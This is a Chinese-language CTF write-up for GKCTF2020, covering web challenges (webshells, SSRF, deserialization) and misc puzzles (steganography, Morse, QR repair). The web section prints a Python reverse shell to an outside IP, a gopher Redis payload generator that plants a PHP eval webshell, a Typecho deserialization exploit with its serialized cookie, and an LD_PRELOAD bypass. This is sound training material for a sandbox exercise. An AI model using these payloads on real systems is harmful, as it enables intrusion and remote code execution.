0%

GKCTF2020-WP

WEB

1.Check IN

image-20200524132441686

进去就是一个马

执行phpinfo后发现,禁用了执行命令的系统函数,但putenv未被禁用,所以想到劫持动态库执行命令。

先用蚁剑连接

构造如下URL,http://384607b7-c341-452f-b732-101819a34a69.node3.buuoj.cn/?Ginkgo=QGV2YWwoJF9QT1NUWydhJ10pOw==密码是a

或者修改编码器

image-20200524133145293

上传恶意so文件和bypass.php接着读flag

http://384607b7-c341-452f-b732-101819a34a69.node3.buuoj.cn/?Ginkgo=QGV2YWwoJF9HRVRbJ2EnXSk7Cg==&a=include(%27/var/tmp/1.php%27);&cmd=./../../../readflag&outpath=/tmp/123.txt&sopath=/var/tmp/1.so

2.老八小超市儿

用的是shopxo模板,这里有个后台Getshell的漏洞。具体看这篇文章

拿到shell用蚁剑连

http://20e6504f-9a68-4272-b02b-4de366165b48.node3.buuoj.cn/public/static/index/default/1.php

然后发现根目录下有flag

告诉我们flag在根目录

image-20200524145719302

flag.hint有点奇怪

image-20200524145846453

直到看到auto.sh,原来是个定时任务

image-20200524145602985

接着修改makeflaghint.py遍历/root/

1
2
3
4
5
6
7
8
9
10
11
12
13
path_list = []
def get_all(path):
paths = os.listdir(path)
for i in paths:
com_path = os.path.join(path,i)
if os.path.isdir(com_path):
get_all(com_path)
elif os.path.isfile(com_path):
path_list.append(com_path)
with open('/flag.hint','a') as f:
f.write(com_path+'\n')
print(com_path)
get_all(path=r'/root')

20232423444217

发现flag接着读取就行

1
2
3
4
5
6
f1=open("/root/flag")
aaa=f1.read()
f1.close()
with open('/flag.hint','a') as f:
f.write(aaa+'\n')
print("D")

image-20200524145546293

后面看官方WP是反弹shell

1
2
3
4
5
6
7
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("174.1.118.22",2333))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

3.CVE版签到

开始没看懂这题在干啥,后面提示CVE-2020-7066 gethead函数存在%00截断

就试了文章里的Payload发现啥也没有。直到看了WP才发现原来都是Burp的锅

image-20200525105018707

image-20200525105045473

image-20200525105141216

image-20200525105212253

这题确实签到(放了提示),感觉主要考对最新一些的CVE的了解。偏实战,爱了爱了。

4.EZ三剑客-EzWeb

这题SSRF+redis未授权,但是shell死活收不到。后面看WP发现是独立于单容器的内网,内网靶机收不到反弹shell。所以是直接写webshell。

开局就叫你输入URL,八成是个SSRF,就随意输入了127.0.0.1,发现被禁了。然后就想着怎么绕(后面发现不用。。。)

image-20200525110646995

image-20200525110728289

发现0x7f000001 可以绕过。后面用Burp抓包,想扫描下本机端口,看到才看到secret这个参数

image-20200525111239096

得到了本机的内网IP

image-20200525111352798

这样一看肯定就不是本机的端口渗透,应该在内网的其他机器上,然后内网探测,很明显的提示了

image-20200525112129001

然后就随意测了下6379端口,发现有戏

image-20200525112303602

直接用脚本生成payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
/usr/bin/python3.8
import urllib
protocol="gopher://"
ip="173.31.59.11"
port="6379"
shell="\n\n<?php eval($_GET['a']);?>\n\n"
filename="1.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd

if __name__=="__main__":
for x in cmd:
payload += urllib.request.quote(redis_format(x))
print(payload)

image-20200525130359211

接着测试webshell

image-20200525130438217

image-20200525131721234

5.EZ三剑客-EzTypecho

拿到题目源码后发现是0.9版本,先去github下了个0.9版本,然后用对比工具比较install.php

发现session_start();被注释

image-20200525135740889

关键代码

image-20200525140208760

首先要反序列化就要SESSION,但session_start();被注释,可以通过以下方法绕过

image-20200525140624669

Typecho反序列化的文章

poc.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
$CMD = 'system("cat /flag")';

class Typecho_Feed
{
const RSS2 = 'RSS 2.0';
const ATOM1 = 'ATOM 1.0';

private $_type;
private $_items;

public function __construct() {
//$this->_type = $this::RSS2;

$this->_type = $this::ATOM1;
$this->_items[0] = array(
'category' => array(new Typecho_Request()),
'author' => new Typecho_Request(),
);
}
}

class Typecho_Request
{
private $_params = array();
private $_filter = array();

public function __construct() {
$this->_params['screenName'] = $GLOBALS[CMD];
$this->_filter[0] = 'assert';
}
}

$exp = array(
'adapter' => new Typecho_Feed(),
'prefix' => 'typecho_'
);

echo base64_encode(serialize($exp));
?>

exp.py

1
2
3
4
5
6
7
import requests
url='http://97caa567-ba9d-4f95-825b-14bebe796a6e.node3.buuoj.cn/install.php?finish=1'
files={'file':123}
headers={'cookie':'PHPSESSID=test;__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo4OiJBVE9NIDEuMCI7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6Mjp7czo4OiJjYXRlZ29yeSI7YToxOntpOjA7TzoxNToiVHlwZWNob19SZXF1ZXN0IjoyOntzOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9wYXJhbXMiO2E6MTp7czoxMDoic2NyZWVuTmFtZSI7czoxOToic3lzdGVtKCJjYXQgL2ZsYWciKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fXM6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjE5OiJzeXN0ZW0oImNhdCAvZmxhZyIpIjt9czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfZmlsdGVyIjthOjE6e2k6MDtzOjY6ImFzc2VydCI7fX19fX1zOjY6InByZWZpeCI7czo4OiJ0eXBlY2hvXyI7fQ==',
'Referer':'http://97caa567-ba9d-4f95-825b-14bebe796a6e.node3.buuoj.cn/install.php'}
re=requests.post(url,files=files,headers=headers,data={"PHP_SESSION_UPLOAD_PROGRESS": "123456789"})
print(re.text)

6.EZ三剑客-EzNode

首先看源码,发现delay被设置的很大,执行命令会超时,在node.js文档中指出 delay大于2147483647或小于1时,则delay将会被设置为1。 非整数的 delay 会被截断为整数

然后题目很奇怪给了包的版本信息,感觉应该是 有公开漏洞

github advisories找到了漏洞信息

image-20200525151514661

MISC

1. Pokémon

GBA游戏,直接去103号道路,道路上就是flag

2.Harley Quinn

题目信息隐藏的挺细致的,导致一直懵逼。

先是压缩包的属性里有解密的信息

image-20200526105114519

然后根据题目描述下载Free_File_Camouflage V1.25

解压后,有个wav音频文件,属性里也有信息

image-20200526105632498

提示密码有21位

音频用Sonic Visualiser打开后发现末尾有播音号 可以自己手动解,或者用

image-20200526105730727

image-20200526113701783

接着用九宫格密码解

222按3下2键就是c,后面同理

img

最后解出 ctfisfun

然后用然后用软件

image-20200526155704949

3.code obfuscation

附件是个扭曲的二维码

image-20200526161615952

然后binwalke可以分解出个要密码压缩包

接着修图,ps打开图片,选定好需要变换的区域,右键自由变换后再扭曲,然后截取下来

image-20200526161626648

接着matlab处理

image-20200526161717329

扫出来 base(gkctf)

试了下解不了,可能要baseXX编码。然后用base58解出来了

image-20200526163147548

解压后得到两个文件一个是js代码,一个是密文

js代码经过 混淆,利用在线工具解密后得到解密后的js代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
for n in a b c d e f g h i j k l m n o p q r s t u v w x y z do eval An = "n"
done
for n in A B C D E F G H I J K L M N O P Q R S T U V W X Y Z do eval An = "n"
done
num = 0
for n in a b c d e f g h i j do eval Bn = "n"
num =
$((num + 1)) done alert("Bk=' ';Bm='"
';Bn='#
';Bs=' (';Bt=')
';By='.
';Cb=';
';Cc=' < ';Ce=' > ';Cl='
_ ';Cn=' {
';Cp='
}
';Da='
0 ';Db='
1 ';Dc='
2 ';Dd='
3 ';De='
4 ';Df='
5 ';Dg='
6 ';Dh='
7 ';Di='
8 ';Dj='
9 ';")

解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
b = "Bn$Ai$An$Ac$Al$Au$Ad$Ae$Bk$Cc$As$At$Ad$Ai$Ao$By$Ah$Ce$Ai$An$At$Bk$Am$Aa$Ai$An$Bs$Bt$Cn$Ap$Ar$Ai$An$At$Bs$Bm$Aw$Dd$Al$Ac$Da$Am$Ae$Cl$De$Ao$Cl$Dj$Ak$Ac$At$Df$Bm$Bt$Cb$Ar$Ae$At$Au$Ar$An$Bk$Da$Cb$Cp"

c = {"Bk": ' ', "Bm": '"', "Bn": '#', "Bs": '(', "Bt": ')', "By": '.', "Cb": ',', "Cc": '<', "Ce": '>', "Cl": '_',
"Cn": '{', "Cp": '}', "Da": '0', "Db": '1', "Dc": '2', "Dd": '3', "De": '4', "Df": '5', "Dg": '6', "Dh": '7',
"Di": '8', "Dj": '9'}
f = ""
for i in b.split('$'):
if i in c.keys():
f = f + c[i]
else:
f = f + i[1]

print(f)

4.Sail a boat down the river

直接用命令分解视频

image-20200526165220148

然后从118帧开始观察亮点,短是1帧,长是3帧

image-20200526165724934

1
-.--/.--/---../--./

摩斯解码

image-20200526170554507

第465帧有个二维码,扫码是个百度盘链接

打开,提取码YW8G

image-20200526170728445

然后玩数独,根据提示得到密钥

52693795149137

加密是AES(hex),坑点是字符集 gb18030/ISO10126

image-20200526172054944

解开压缩包,得到 逆光vocal.ovex用打谱软件打开就有flag。真心想不到

-------------本文结束感谢您的阅读-------------